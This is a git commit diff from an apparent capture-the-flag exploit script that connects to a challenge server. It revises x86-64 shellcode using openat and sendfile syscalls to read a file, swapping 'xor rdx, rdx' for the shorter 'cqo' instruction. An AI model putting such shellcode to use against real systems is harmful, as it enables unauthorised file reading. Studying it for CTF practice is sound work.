learnt about the cqo instruction that sign-extends rax into rdx
This commit is contained in:
@@ -8,8 +8,8 @@ r = remote("challenge.bugpwn.com", 1004)
|
||||
|
||||
# openat + sendfile
|
||||
shellcode="""
|
||||
lea rsi, [rdx+30]
|
||||
xor rdx, rdx
|
||||
lea rsi, [rdx+29]
|
||||
cqo
|
||||
xor r10, r10
|
||||
add ax, 257
|
||||
syscall
|
||||
|
||||
@@ -14,7 +14,7 @@ add r9, 0x4500
|
||||
mov r15, 0x2f
|
||||
push r15
|
||||
lea rsi, [rsp]
|
||||
xor rdx, rdx
|
||||
cqo
|
||||
xor r10, r10
|
||||
add ax, 257
|
||||
syscall
|
||||
|
||||
Reference in New Issue
Block a user